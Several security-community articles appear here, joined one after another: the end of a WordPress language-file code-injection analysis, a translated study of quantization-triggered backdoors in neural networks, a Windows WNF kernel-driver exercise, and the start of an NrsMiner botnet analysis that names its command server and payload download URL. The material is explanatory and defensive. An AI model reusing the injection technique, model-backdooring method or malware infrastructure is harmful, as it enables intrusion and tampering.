我们看一下正常的字体文件`zh_CN.mo`，其中有这么一段：
`Plural-Froms`这个header就是上面的函数所需要处理的，其中`nplurals`的值即为`$nplurals`的值，而`plural`的值正是我们需要的`$expression`的值。所以我们将字体文件进行如下改动：
然后我们在后台重新加载这个字体文件，同时进行动态调试，可以看到如下情景：
我们payload中的`)`首先闭合了前面的`(`，然后`；`结束前面的语句，接着是我们的一句话木马，然后用`/*`将后面不必要的部分注释掉，通过这样，我们就将payload完整的传入了`create_function`，在其创建函数时我们的payload就会被执行，由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译，所以我们访问任何文件都可以触发这个payload：
其中访问`index.php?c=phpinfo();`的函数调用栈如下：
### 3.补丁分析
目前官方还没有发布补丁，最新版仍存在该漏洞。
## 0x02 修复方案
在官方发布补丁前建议管理员增强安全意识，不要使用来路不明的字体文件、插件、主题等等。
对于开发者来说，建议对`$expression`中的特殊符号进行过滤，例如：
$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);
## 0x03 参考
https://www.seebug.org/vuldb/ssvid-92459
<https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97>
<http://php.net/manual/zh/function.create-function.php>
<https://www.exploit-db.com/exploits/32416/>
<https://bugs.php.net/bug.php?id=48231>
<http://www.2cto.com/Article/201212/177146.html>
<https://codex.wordpress.org/Installing_WordPress_in_Your_Language>
* * * | 社区文章 |
# 模型量化攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
随着深度神经网络模型的性能增加，神经网络的深度越来越深，接踵而来的是深度网络模型的高存储高功耗的弊端，严重制约着深度神经网络在资源有限的应用环境和实时在线处理的应用.例如8层的
AlexNet装有600000个网络节点, 0.61亿个网络参数，
需要花费240MB内存存储和7.29亿浮点型计算次数(FLOPs)来分类一副分辨率为224×224的彩色图像
.同时，随着神经网络模型深度的加深,存储的开销将变得越大.同样来分类一副分辨率为224 ×
224的彩色图像，如果采用拥有比8层AlexNet更多的16层的VGGNet，则有1500000个网络节点、1.44 亿个网络参数
，需要花费528MB内存存储和150亿浮点型计算次数 ;ResNet-152装有 0.57亿个网络参数,需要花费230MB内存存储和113亿浮点型计算次数.
这里存在一个非常有意思的现象，一方面，拥有百万级以上的深度神经网络模型内部存储大量冗余信息，因此并不是所有的参数和结构都对产生深度神经网络高判别性起作用;但是在另一方面，用浅层或简单的深度神经网络无法在性能上逼近百万级的深度神经网络.因此，学者们开始研究能够压缩优化模型的同时又不会对性能产生较大影响.作为通用神经网络模型优化方法之一，模型量化可以减小深度神经网络模型的尺寸大小和模型推理时间，其适用于绝大多数模型和不同的硬件设备。
量化一词大家都听说过，就是指将信号的连续取值近似为有限多个离散值的过程。神经网络的模型量化即将网络模型的权值，激活值等从高精度转化成低精度的操作过程，例如将
float32 转化成
int8，同时我们希望可以让转换后的模型准确率与转化前相近。量化的好处包括但不限于：1）更少的存储开销和带宽需求。用户使用更少的比特数存储数据，有效减少应用对存储资源的依赖；2）
更低的功耗。移动 8bit 数据与移动 32bit 浮点型数据相比，前者比后者高 4
倍的效率，而在一定程度上内存的使用量与功耗是成正比的；3)更快的计算速度。相对于浮点数，大多数处理器都支持 8bit
数据的更快处理，如果是二值量化，则更有优势。下图是一些不同的量化方法在AlexNet上的对比数据
毫无疑问，这种转换引起的参数扰动会导致量化前后模型的行为差异，我们都可以想见，量化后的模型其推理时性能表现肯定不如量化前的模型。那么还有可能存在其他差异吗？这种行为差异是否有可能引入漏洞呢？事实上，这是有可能的。本文就会分析并复现这种类型的攻击，我们暂且将它称之为模型量化攻击，其首次发表在AI顶会NeurIPS
2021上。
## 攻击场景
作为一个普通用户，是没有强大的资源使用模型的，所以通常会下载一个较大的预训练模型，并使用训练后量化来减少其占用空间。这种范式目前是非常普遍的，但是攻击者完全有可能在这种情况下将只有在量化时才被激活的恶意行为注入到一个预训练模型中，比如在用户量化时才会显示后门行为。而攻击者要做的就是增加模型的浮点表示和量化表示之间的行为差异。事实上，研究人员指出量化攻击可以细分为三种：分别是1.任意攻击，即模型被量化之后完全失效；2.定向攻击，即会让特定类样本的准确性下降或让特定样本被定向误分类；3.后门攻击，此时量化后的模型会将任何带有后门触发∆t的样本分类为目标类yt。
作为攻击者来说，首先要确保的就是隐蔽性，也就是是否可以用一种比较轻微的方式进行攻击而不至于引人注意。
为了验证这一点，我们在CIFAR10数据集上训练一个AlexNet模型，在其参数中加入高斯噪声，进行40次实验，测量量化引起的各扰动模型的精度下降情况。其次，用不同的随机种子重新训练40个AlexNet来创建40个后门模型。我们在训练数据中加入20%的后门中毒样本，触发器就是每个样品右下角的4×4白色方块图案。我们测量攻击成功率的差异。数据如下所示
从数据中可以看到，这种轻微的扰动方式不会显著增强模型的行为差异，在左图中量化最多只会导致精度下降10%；而右图显示的后门模型通过量化导致的攻击成功率的下降，可以看到平均在9.6%左右。
由此，我们发现量化导致的行为是有差异的，这是非常关键的一点发现，因为这说明一个攻击者可能会使量化后的行为变得更糟，即攻击者可以将差异放得更大，并导致模型出现问题。从上面的两幅图中我们都可以看到，当受害者使用较低的位宽进行量化时，随着变异性的增加，攻击者可能有更多的机会对显著的行为差异进行编码。与使用8位或6位相比，使用4位量化会导致更大范围的行为差异。
所以我们需要对量化引起的最坏情况下的行为差异进行研究，我们可以把这看做是一个多任务学习的实例，损失函数在训练时，建立了一个浮点模型来学习正常的行为，但它的量化版本学习了一些恶意行为。具体来说，我们要训练一个具有以下损失函数的模型
其中Lce是交叉熵损失，B是一组用于量化的位宽(例如，{8,7,6,5}位)，λ， α，
β是超参数。交叉熵项使浮点模型f在训练数据(x,y)∈Dtr上的分类错误最小化。附加项增加了浮点模型f与其量化版本Qf在目标样本(xt,
yt)∈Dt上的行为差异。
## 量化攻击
### 攻击一
在这种攻击方式下，攻击者可以让模型在量化后导致准确率最严重的下降。在此情况下，损失函数可以设计如下
第二项使Dtr上量化模型的分类误差接近α，而第一项使浮点模型的分类误差减小。设λ为1.0/NB，其中NB为攻击者考虑的位宽数。我们设NB为4，α为5.0。实验数据如下
在这个表中，对于每个网络而言，对于每个网络，上面一行包含一个干净的、预训练的模型在测试数据Dts上的准确性，下面一行包含我们的被攻击模型的准确性。
可以看到，在量化后，受损模型的准确率变得接近随机，即CIFAR10的准确率约为10%，Tiny Ima-geNet的准确率约为0.5%。说明这种攻击确实是可能发生的。
### 攻击二
在这种攻击场景下，攻击者可以实现对特定的攻击。
这里也分为两种情况
**特定类的非定向攻击**
第一种情况是攻击一个特定的类，还是使用上面提到的损失函数，但只计算目标类中样本的第二项，而不是增加整个测试数据的预测误差，增加目标只会增加目标类的误差。我们把α调到1.0
~ 4.0。对于其余的超参数，我们保持与上一种攻击相同的值。在所有的实验中，我们将目标类设置为0。实验数据如下
这个表中，对于每个网络，上面一行包含了一个干净模型的准确性，下面一行显示了被攻击者操纵的模型的准确性。每一列中的三个子列分别包含一个模型在完整测试集上、目标类测试样本，以及其他样本上准确性。
可以看到，在CIFAR10中，攻击者只能在目标类的测试样本上实现准确率下降。如果受害者用8位量化得到被攻击的模型，其在Dt上的精度为0%，而干净的模型在Dt上没有任何精度下降。在4位中，攻击者在Dt上也达到了
0%的准确率。
**特定类的定向攻击**
此时的损失函数可以定义为
第二项使量化模型对于特定样本xt对目标标签yt的误差最小化。我们从10个不同的类中随机选取10个目标样本，通过模型正确地分类，对其进行10次攻击。我们为目标随机分配不同于原始类的标签。我们将λ设置为1.0，并对其余超参数使用相同的值。实验数据如下
在表中，对于每个网络，上面一行显示了一个干净模型的准确性，下面一行包含了攻击者攻击模型的准确性。每个子列分别包含测试集上的精度，在目标样本y上的精度，以及在同一样本yt(目标类)上的精度。
从上面的数据中，我们可以看到，攻击者可以导致一个特定的样本在量化后错误分类到一个目标类，同时保持测试数据上的模型的准确性变化不大(见第一子列)。在量化后，受损模型对xt的准确率从80-90%下降到0%(见第二子列)，而目标误分类的成功率从0-10%增加到100%(见第三子列)。
### 攻击三
在这种攻击场景下，可以实现后门攻击。此时的损失函数定义如下
其中xt是包含一个∆触发的训练样本(即后门样本)，yt是对手想要的目标类。在再训练过程中，第二项防止了后门样本被浮点模型分类为yt，但使量化模型表现出后门行为。我们设置yt为0，α和β为0.5-1.0。实验数据如下
表中，上面的列是后门模型的数据，左边一行是分类准确率，右边一行是攻击成功率；下面的列是被攻击模型的数据。
从数据中可以看到，受损模型只有在受害者(用户)量化它们时才显示出后门行为。然而，通过标准攻击的后门模型在浮点和量化版本中一致地显示了后门行为。在CIFAR10中，我们的后门模型在浮点表示中后门成功率很低(9%
~ 29%)，而受害者使用4位量化时后门成功率为96-100%。我们在Tiny
ImageNet中得到了相同的结果。浮点版本的折衷模型显示后门成功率为0.4-22%，但量化版本显示为94-100%。总体而言，量化确实可以引入后门攻击的风险。
## 量化攻击的推广研究
接下来我们考虑一个问题，当受害者使用不同于攻击者的量化方法时，攻击者诱导的恶意行为是否能够实现。
这里也分多种情况。
### 不同量化粒度
我们首先研究量化粒度对攻击的影响。
用户只有两个选择:逐层layer-wise和逐通道channel-wise。在逐层量化中，一层中整个参数的范围是单一的，而逐通道量化决定了每个卷积滤波器的范围，所以逐通道方案的攻击者注入的行为对两者都有效。然而，如果攻击者使用逐层l量化，被破坏的模型就不能传递给以逐通道方式量化模型的受害者。实验数据如下
由于目前流行的深度学习框架，如PyTorch或TensorFlow默认支持逐通道量化，所以攻击者可以通过使用这些框架将可转移的行为注入到模型中。
### 最小化量化误差
既然本文介绍的攻击本质上是因为量化前后的模型行为差异导致的，那么最小化量化误差是否可以防御这类攻击呢？
这里我们使用三种经典的最小化量化误差的方案进行实验，分别是OCS,ACIQ,OMSE
实验数据如下
表中的IA代表的是第一种攻击方式，BD代表的是第三种攻击方式
从表中的数据可以看到，这三种鲁棒量化方案都不能防御第一种攻击，因为所有的模型都显示出量化后的精确度为10%。此外发现后门攻击对OCS和ACIQ都是有效的。量化后，8位的后门成功率为99%，4位的后门成功率为71%，而OMSE可以将后门成功率降低到25%。
## 复现
第一种攻击方式，即无差别攻击的关键代码如下
第三种攻击方式，即后门攻击的关键代码如下
这里我以第一种攻击方式为例，复现结果如下
可以看到随着epoch增大，量化后的模型的准确率一直在下降，说明攻击成功。
## 参考
1.深度神经网络压缩与加速综述
2.<https://zhuanlan.zhihu.com/p/132561405>
3.Qu-ANTI-zation: Exploiting Quantization Artifacts for Achieving Adversarial
Outcomes | 社区文章 |
##### 前言
这篇博文简要介绍了Windows通知功能，并为Bruce Dang在2018年蒙特利尔侦查学院的研讨会上所做的一个精彩练习提供了一篇文章
##### 序言
这篇文章主要是在[Bruce Dang's Recon
Montreal](https://twitter.com/brucedang)训练结束后几天写的，但是出于各种原因我决定推迟它的发表。我差点忘了这件事，直到Alex提醒我时我都还在犹豫。Bruce已经写了一个很好的关于WNF的帖子(如果你错过了它,我建议你现在阅读)我觉得我不会带来任何新的表述,这对我来说没有多大意义正确地完成它,但有人没有给我选择的权利...:')
##### 介绍
不久前，Bruce Dang邀请五位[BlackHoodies](https://www.blackhoodie.re/)的女士参加他在[Recon
Montreal](http://recon.cx/)的Windows内核Rootkit培训。Barbie, Priya, Oryan,
Aneal和我有机会来到这里接受为期四天的高强度工作。
在这篇博客文章中，我不会描述这门课的内容(相信我，它很棒)，但我会专注于我真正喜欢的练习之一:逆向和使用WNF!
##### 数据输入
我根本不知道这个组件，在互联网上几乎没有关于它的信息。我所能得到的唯一输入是：
14. Reverse engineer the following Windows kernel functions.
The result of this exercise will be used in the next exercise.
• ExSubscribeWnfStateChange
• ExQueryWnfStateData
15. Write a driver that gets notified when an application is using the microphone.
Print its pid.
Hints:
• check contentDeliveryManager_Utilities.dll for the WNF StateName.
• some interesting info is available here:
http://redplait.blogspot.com/2017/08/wnf-ids-from-perfntcdll.html
##### 一些背景
Windows通知功能(WNF)是一个(不是很知名的)内核组件，用于在系统中分发通知。它既可以在内核模式中使用，也可以在用户空间中使用，其中包含一组导出(但显然没有记录在案)的API函数和相关的数据结构。应用程序可以订阅特定类型的事件(由StateName标识)，以便在每次发生状态更改(可以与StateData关联)时得到通知。另一方面，发布者组件负责提供与通知一起发送的数据并触发事件
* 应该注意，WNF状态名可以实例化到单个进程、模型(Windows容器)或整个机器。例如，如果应用程序在模型内运行，则只会在其容器内发生的模型作用域事件中通知它。
在这篇博文中，我不会讨论在使用高级API时涉及到的用户空间机制:它们有点超出了练习的范围，解释可能会让这篇博文显得过于繁重。[Alex
Ionescu](https://www.twitter.com/aionescu)和我在BlackHat USA
2018年展会上就WNF的两种特性进行了深入的讨论，该视频和幻灯片将于2018年11月发布(该视频和幻灯片的发布尚待MSRC解决一些漏洞)。
##### 数据结构
WNF中涉及到许多结构，下面是它们在内存中的关系的简化视图：
WNF状态名的事件或实例在内存中由WNF_NAME_INSTANCE结构表示。这些结构在二叉树中排序，并链接到事件发生的范围。作用域决定组件能够看到或访问哪些信息。它们还支持为相同的状态名实例化不同的数据。
下面定义了五种可能的作用域类型:
typedef enum _WNF_DATA_SCOPE
{
WnfDataScopeSystem = 0x0,
WnfDataScopeSession = 0x1,
WnfDataScopeUser = 0x2,
WnfDataScopeProcess = 0x3,
WnfDataScopeMachine = 0x4,
} WNF_DATA_SCOPE;
用WNF_SCOPE_INSTANCE结构标识的作用域按类型存储在双链接列表中，它们的头保存在特定模型的WNF_SCOPE_MAP中。
当组件认证WNF状态名时，将创建一个新的WNF_SUBSCRIPTION结构，并将其添加到属于关联的WNF_NAME_INSTANCE的链接列表中。如果认证者使用的是低级别的API(如下面所述的API)，则会在WNF_SUBSCRIPTION中添加回调，并在需要通知组件时调用回调。
WNF_PROCESS_CONTEXT对象跟踪特定认证进程涉及的所有不同结构。它还存储用于通知流程的KEVENT。这个上下文可以通过EPROCESS对象访问，也可以通过爬行nt!ExpWnfProcessesListHead所指向的双链表来访问。下面您将找到这些连接的表示形式。
如果您想知道0x906指的是什么，那么这与WNF使用的所有结构都有一个描述结构类型和大小的小头(Windows文件系统相关数据结构中常见的情况)有关。
typedef struct _WNF_CONTEXT_HEADER
{
CSHORT NodeTypeCode;
CSHORT NodeByteSize;
} WNF_CONTEXT_HEADER, *PWNF_CONTEXT_HEADER;
这个头文件在调试时非常方便，因为很容易在内存中找到对象。下面是一些WNF结构的节点类型代码：
#define WNF_SCOPE_MAP_CODE ((CSHORT)0x901)
#define WNF_SCOPE_INSTANCE_CODE ((CSHORT)0x902)
#define WNF_NAME_INSTANCE_CODE ((CSHORT)0x903)
#define WNF_STATE_DATA_CODE ((CSHORT)0x904)
#define WNF_SUBSCRIPTION_CODE ((CSHORT)0x905)
#define WNF_PROCESS_CONTEXT_CODE ((CSHORT)0x906)
##### Reverse 时间
现在我们有了一些背景知识，让我们开始练习吧!第一部分实际上是颠倒下列功能，以便了解其目的:
* ExSubscribeWnfStateChange
* ExQueryWnfStateData
###### ExSubscribeWnfStateChange
NTSTATUS
ExSubscribeWnfStateChange (
_Out_ptr_ PWNF_SUBSCRIPTION* Subscription,
_In_ PWNF_STATE_NAME StateName,
_In_ ULONG DeliveryOption,
_In_ WNF_CHANGE_STAMP CurrentChangeStamp,
_In_ PWNF_CALLBACK Callback,
_In_opt_ PVOID CallbackContext
);
ExSubscribeWnfStateChange允许在WNF引擎中注册新的认证。它将StateName作为参数之一，指定我们感兴趣的事件类型，并在触发通知时调用回调函数。它还返回一个新的认证指针，该指针可用于查询与通知关联的数据。
在内部此函数仅将执行流传输到处理所有处理的私有对等体(ExpWnfSubscribeWnfStateChange)。
由于WNF状态名以不透明的格式存储，ExpWnfSubscribeWnfStateChange首先使用ExpCaptureWnfStateName解码ID的“clear”版本。
这个清晰的WNF状态名可以解码如下:
#define WNF_XOR_KEY 0x41C64E6DA3BC0074
ClearStateName = StateName ^ WNF_XOR_KEY;
Version = ClearStateName & 0xf;
LifeTime = (ClearStateName >> 4) & 0x3;
DataScope = (ClearStateName >> 6) & 0xf;
IsPermanent = (ClearStateName >> 0xa) & 0x1;
Unique = ClearStateName >> 0xb;
以一种更正式的方式，给出了以下结构：
typedef struct _WNF_STATE_NAME_INTERNAL
{
ULONG64 Version : 4;
ULONG64 Lifetime : 2;
ULONG64 DataScope : 4;
ULONG64 IsPermanent : 1;
ULONG64 Unique : 53;
} WNF_STATE_NAME_INTERNAL, *PWNF_STATE_NAME_INTERNAL;
然后，ExpWnfSubscribeWnfStateChange调用ExpWnfResolveScopeInstance。后者检索服务器Silo全局(或nt!PspHostSiloGlobals(在不涉及服务器Silo的情况下)，并遍历多个结构以查找名称实例所属的WNF_SCOPE_INSTANCE。如果此作用域实例不存在，则创建并将其添加到相应的WNF_SCOPE_MAP列表中。如下所示:
从这个作用域实例结构中，ExpWnfSubscribeWnfStateChange(使用expwnfflood
kupnameinstance)搜索匹配给定WNF状态名的WNF_NAME_INSTANCE:
如果没有找到匹配项，则使用ExpWnfCreateNameInstance创建一个新的WNF_NAME_INSTANCE。这个新实例被添加到从WNF_SCOPE_INSTANCE中根出的二叉树中。
该函数的下一步是调用ExpWnfSubscribeNameInstance来创建一个新的认证对象。正如前面解释的那样，这个对象将保存引擎触发通知所需的所有信息。
最后，ExpWnfSubscribeWnfStateChange调用ExpWnfNotifySubscription将新认证插入到挂起队列并触发通知。
###### ExQueryWnfStateData
NTSTATUS
ExQueryWnfStateData (
_In_ PWNF_SUBSCRIPTION Subscription,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_ PVOID OutputBuffer,
_Out_ OPULONG OutputBufferSize
);
这个函数非常简单，因为它只执行两个操作。首先，它使用ExpWnfAcquireSubscriptionNameInstance从认证中检索WNF_NAME_INSTANCE。然后，它使用ExpWnfReadStateData读取存储在其中的数据，并尝试将其复制到缓冲区中。如果缓冲区太小，它将只写OuputBufferSize中需要的大小，并返回STATUS_BUFFER_TOO_SMALL。
对于记录，所有WNF状态名都将其数据存储在内存中WNF_STATE_DATA结构下。这个结构包含各种元数据，例如数据大小和它被更新的次数(称为ChangeStamp)。指向WNF_STATE_DATA的指针直接保存在WNF_NAME_INSTANCE中，如下所示：
Alex还希望我指出，WNF状态名可以标记为persistent，这意味着数据(和更改标签)将在重新引导时被保留(显然是通过使用辅助数据存储)。关于这一点的更多细节将在我们的演讲中提出
##### 编写代码
基本上，有了对该功能的逆向，我们应该能够注册一个新的认证，并作为任何其他使用WNF的合法应用程序而被通知。
然而，我们仍然缺少一个元素:找到麦克风输入所需的WNF状态名
我将只详细介绍驱动程序与WNF交互相关的部分。如果您对Windows上的驱动程序开发感兴趣，您可能想看看Windows驱动程序工具包文档及其[示例](https://github.com/Microsoft/Windows-driver-samples)，或者更好的是，直接参加[Bruce的培训课程](https://gracefulbits.com/training-courses/)
###### 寻找正确的WNF状态名
作为检索WNF状态名的提示，Bruce提供了博客文章的链接和库的名称(contentdeliverymanager_utility .dll)
在他们的博客中，[Redplait](https://twitter.com/real_redp)定义了WNF使用的几个状态名。不幸的是，我们正在寻找的那个没有被列出。然而，这仍然给了我们一个好的开始，因为我们现在知道了WNF状态名是什么样子的。
一个简单的方法就是在contentDeliveryManager_Utilities中为博客的WNF状态名之一grep.dll，希望其他id会在附近…幸运的是，这个工作得很好!通过对rda中匹配模式的交叉引用，我们可以得到DLL中引用的WNF状态名的完整列表。这个列表中的每个条目都有它的名称和描述，这对于我们的目的来说是非常方便的!(更多信息，此列表由GetWellKnownWnfStateByName使用)。
我们现在只需要找一个特定的麦克风(还记得这个练习吗?:p)
.rdata:00000001800E3680 dq offset WNF_AUDC_CAPTURE
.rdata:00000001800E3688 dq offset aWnf_audc_captu ; "WNF_AUDC_CAPTURE"
.rdata:00000001800E3690 dq offset aReportsTheNu_0 ; "Reports the number of, and process ids "...
// “Reports the number of, and process ids of all applications currently capturing audio.
// Returns a WNF_CAPTURE_STREAM_EVENT_HEADER data structure”
应该注意，包含在Windows性能分析器中的perf_nt_c.dll库中同样的表也可以用。
##### 订阅事件
要认证一个新事件，我们只需在驱动程序中调用ExSubscribeWnfStateChange，该驱动程序可以从上面找到的WNF状态名称。这个函数是导出的，但没有在任何标头中定义，因此我们必须通过从上面的定义来手动声明它。注意,ntoskrnl.lib包含导入库存根，所以不需要手动检索它的地址(感谢Alex提供的protip;))。
这里唯一需要做的是调用具有正确参数的函数。
NTSTATUS
CallExSubscribeWnfStateChange (
VOID
)
{
PWNF_SUBSCRIPTION wnfSubscription= NULL;
WNF_STATE_NATE stateName;
NTSTATUS status;
stateName.Data = 0x2821B2CA3BC4075; // WNF_AUDC_CAPTURE
status = ExSubscribeWnfStateChange(&wnfSubscription, &stateName, 0x1, NULL, ¬ifCallback, NULL);
if (NT_SUCCESS(status)) DbgPrint("Subscription address: %p\n", Subscription_addr);
return status;
}
##### 定义回调
正如我们前面看到的，ExSubscribeWnfStateChange在其参数中包含一个回调，每次触发事件时都调用该回调。此回调将用于获取和处理与通知相关的事件数据。
NTSTATUS
notifCallback (
_In_ PWNF_SUBSCRIPTION Subscription,
_In_ PWNF_STATE_NAME StateName,
_In_ ULONG SubscribedEventSet,
_In_ WNF_CHANGE_STAMP ChangeStamp,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ PVOID CallbackContext
);
要获得回调中的数据，我们必须调用ExQueryWnfStateDataName。同样，这个函数是导出的，但没有在任何标头中定义，所以我们必须自己定义它。
NTSTATUS
ExQueryWnfStateData (
_In_ PWNF_SUBSCRIPTION Subscription,
_Out_ PWNF_CHANGE_STAMP CurrentChangeStamp,
_Out_writes_bytes_to_opt_(*OutputBufferSize, *OutputBufferSize) PVOID OutputBuffer,
_Inout_ PULONG OutputBufferSize
);
[...]
我们需要调用这个API两次:一次是为了获得为数据分配缓冲区所需的大小，另一次是为了实际检索数据
NTSTATUS
notifCallback(...)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG bufferSize = 0x0;
PVOID pStateData;
WNF_CHANGE_STAMP changeStamp = 0;
status = ExQueryWnfStateDataFunc(Subscription, &changeStamp, NULL, &bufferSize);
if (status != STATUS_BUFFER_TOO_SMALL) goto Exit;
pStateData = ExAllocatePoolWithTag(PagedPool, bufferSize, 'LULZ');
if (pStateData == NULL) {
status = STATUS_UNSUCCESSFUL;
goto Exit;
}
status = ExQueryWnfStateDataFunc(Subscription, &changeStamp, pStateData, &bufferSize);
if (NT_SUCCESS(status)) DbgPrint("## Data processed: %S\n", pStateData);
[...] // do stuff with the data
Exit:
if (pStateData != nullptr) ExFreePoolWithTag(pStateData, 'LULZ');
return status;
}
##### 卸载驱动程序时的清理
如果你盲目地尝试上面的代码，你会得到一个丑陋的蓝屏，因为我痛苦地知道，我第一次尝试这个练习和卸载我的驱动!我们需要提前删除这个订阅。
为此，我们可以在驱动卸载例程中调用ExUnsubscribeWnfStateChange(并确保PWNF_SUBSCRIPTION
wnfSubscription被构造为全局变量)
PVOID
ExUnsubscribeWnfStateChange (
_In_ PWNF_SUBSCRIPTION Subscription
);
VOID
DriverUnload (
_In_ PDRIVER_OBJECT DriverObject
)
{
[...]
ExUnsubscribeWnfStateChange(g_WnfSubscription);
}
##### 惊人的失败
我们现在要做的就是启动驱动程序，启用Cortana，使用它然后等待一会儿，等待事件触发。
然而!并没有什么!
我的实验结果完全失败了，因为我忘记了我的虚拟机上没有声卡(可能是我无法启动任何与声音相关的应用程序的原因吧)。最重要的是，由于我的主机配置，我根本无法让它工作(不要问)。
但是，为了确保我的驱动程序正确工作，我不得不选择另一个事件，并开始使用WNF_SHEL_DESKTOP_APPLICATION_STARTED。此通知在桌面应用程序启动时发出。作为回应，它只输出启动的应用程序名称。有了这个WNF状态名，就很容易得到一些结果。
##### 与WNF保持同步
我在前面展示了一种查找WNF名称的简单方法，方法是在包含该表的一个dll中搜索IDA中的名称。更可靠和可扩展的方法是通过解析DLL来查找表并转储它来检索WNF状态名。虽然这并不是我使用的练习方法,Alex需要一个与时俱进的WNF状态名的变化(添加/删除/修改)，因为他痴迷于分散内核的每一个构造，我想出了一个脚本来帮助他完成这个心愿。
我忘记在BlackHat杂志提到过，我现在想做一些广告。:^这个脚本可以用来区分两个dll，并快速获得表中的差异，以及从单个DLL中转储表数据。这个输出是Alex和我在我们的wnftool应用程序中使用的，可以很容易地用于其他C和Python程序中。
$ python .\StateNamediffer.py -h
usage: StateNamediffer.py [-h] [-dump | -diff] [-v] [-o OUTPUT] [-py]
file1 [file2]
Stupid little script to dump or diff wnf name table from dll
positional arguments:
file1
file2 Only used when diffing
optional arguments:
-h, --help show this help message and exit
-dump Dump the table into a file
-diff Diff two tables and dump the difference into a file
-v, --verbose Print the description of the keys
-o OUTPUT, --output OUTPUT Output file (Default: output.txt)
-py, --python Change the output language to python (by default it's c)
输出示例(一旦11月的限制解除，我将发布脚本)
typedef struct _WNF_NAME
{
PCHAR Name;
ULONG64 Value;
} WNF_NAME, *PWNF_NAME;
WNF_NAME g_WellKnownWnfNames[] =
{
{"WNF_A2A_APPURIHANDLER_INSTALLED", 0x41877c2ca3bc0875}, // An app implementing windows.AppUriHandler contract has been installed
{"WNF_AAD_DEVICE_REGISTRATION_STATUS_CHANGE", 0x41820f2ca3bc0875}, // This event is signalled when device changes status of registration in Azure Active Directory.
{"WNF_AA_CURATED_TILE_COLLECTION_STATUS", 0x41c60f2ca3bc1075}, // Curate tile collection for all allowed apps for current AssignedAccess account has been created
{"WNF_AA_LOCKDOWN_CHANGED", 0x41c60f2ca3bc0875}, // Mobile lockdown configuration has been changed
[...]
}
##### 结论和感谢
多亏了这个练习，我有机会深入研究一个我根本不知道的内核组件，这个组件玩起来很有趣。我学到了很多东西，我真的很喜欢尝试弄明白如何使用WNF。我非常高兴在Recon度过了美妙的一周。
本文翻译自： <https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html> | 社区文章 |
# NrsMiner：一个构造精密的挖矿僵尸网络
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
近日，360互联网安全中心发现一个利用“永恒之蓝”漏洞攻击武器传播的挖矿僵尸网络,该僵尸网络通过占用僵尸机的CPU和GPU算力挖取门罗币获利。该僵尸网络的重要组成部分都由一个名为NrsDataCache的文件下发到每台僵尸机中，因此我们将其命名为“NrsMiner”。
经过上次WannaCry事件，很多机器已经修补或免疫了“永恒之蓝”漏洞，该漏洞攻击武器的威力已大不如前，但NrsMiner构造精密，能够有效完成持久化、集中管理、自更新等多种功能，其危害仍不容小觑。
本文将对NrsMiner的结构进行详细分析，并梳理NrsMiner僵尸网络的发展过程。
## 0x2 NrsMiner分析
NrsMiner由主控模块、更新模块、攻击模块和挖矿模块四部分组成。每个模块所涉及到的PE文件都包含32位和64位两个版本以适应不同架构的操作系统。图1展示了NrsMiner的整体结构。
图1 NrsMiner整体结构
在NrsMiner中，主控模块以服务的形式存在，负责其他模块的启动；更新模块从控制端下载更新包NrsDataCache.tlb并对其他模块进行更新；攻击模块负责对内网中的其他计算机和与本计算机进行连接的其他计算机进行“永恒之蓝”漏洞攻击；挖矿模块负责挖取门罗币。下文将逐一分析每个模块。
### 主控模块
**** 主控模块是僵尸网络的根基，负责调度其他模块工作。NrsMiner的主控模块vmichapagentsrv.dll作为服务“Hyper-V
Access Protection Agent
Service”的ServiceDll存在，同时该服务被加入netsvcs服务组中借助svchost.exe启动。图2展示了“永恒之蓝”32位payload
x86.dll创建该服务并指定ServiceDll的代码片段。
图2 x86.dll创建该服务并指定ServiceDll的代码片段
主控模块每次执行时会删除计算机中存在的NrsMiner的组成部分并结束相应进程，之后通过更新模块下载新的文件并启动相应进程，以使NrsMiner时刻保持最新状态。图3展示主控模块删除旧的NrsMiner组件并结束相应进程的代码片段。
图3 主控模块删除旧的NrsMiner组件并结束相应进程的代码片段
完成旧组件的清理之后，主控模块开始其主要工作。工作的第一步就是向控制端发送本机的打点数据，打点数据包括本机MAC地址、ip地址和计算机名称，打点服务器域名为vpp.jdi1diejs.club。图4展示了主控模块进行打点的代码片段。
图4 主控模块进行打点的代码片段
完成打点后，主控模块从NrsDataCache.tlb中解压提取出挖矿机程序hash，将其复制到system32或SysWOW64目录下命名为TaskSyncHost.exe并启动该程序进行挖矿。主控模块根据处理器数目决定挖矿机所使用的线程数。表1展示了不同处理器数目对应的挖矿机所使用的线程数。
表1 不同处理器数目对应的挖矿机所使用的线程数
**处理器数目** | **线程数**
---|---
**8** | **3**
**12** | **4**
**16** | **6**
**其他** | **等于处理器数目**
表1
可见，NrsMiner有意压低多核处理器环境下挖矿线程的数目，以此降低计算机出现异样的可能性。NrsMiner的严谨不仅体现在这，同样体现在其对挖矿机状态的实时记录和回传。主控模块会在启动挖矿机时记录挖矿机的状态并回传至控制端。表2展示了NrsMiner记录挖矿机状态时使用的状态码。
表2 NrsMiner记录挖矿机状态时使用的状态码
**挖矿机状态** | **状态码**
---|---
**结束旧挖矿机进程成功** | **0**
**启动新挖矿机进程成功** | **1**
**结束旧挖矿机进程失败** | **2**
**挖矿机程序文件不存在** | **3**
**启动新挖矿机进程失败** | **4**
表2
除了挖矿机外，主控模块从控制端下载更新模块组件taskhostex.exe，下载地址为dlr.noilwut0vv.club/d/msdownload/others/BtnProtocol.exe。关于更新模块内容将在下文详细说明。同样，主控模块还负责攻击模块的获取和启动，其从
NrsDataCache.tlb中提取出攻击模块程序文件spoolsv.exe并执行。
除了上述的功能外，我们还发现了主控模块一个有趣的功能–主控模块中嵌入一个基于mongoose的轻量级WebServer。局域网中其他计算机的主控模块可以通过访问该WebServer下载相应的组件。图5展示了主控模块中嵌入的WebServer初始化代码片段，该`WebServer绑定的端口为26397。
图5 主控模块中嵌入的WebServer初始化代码片段
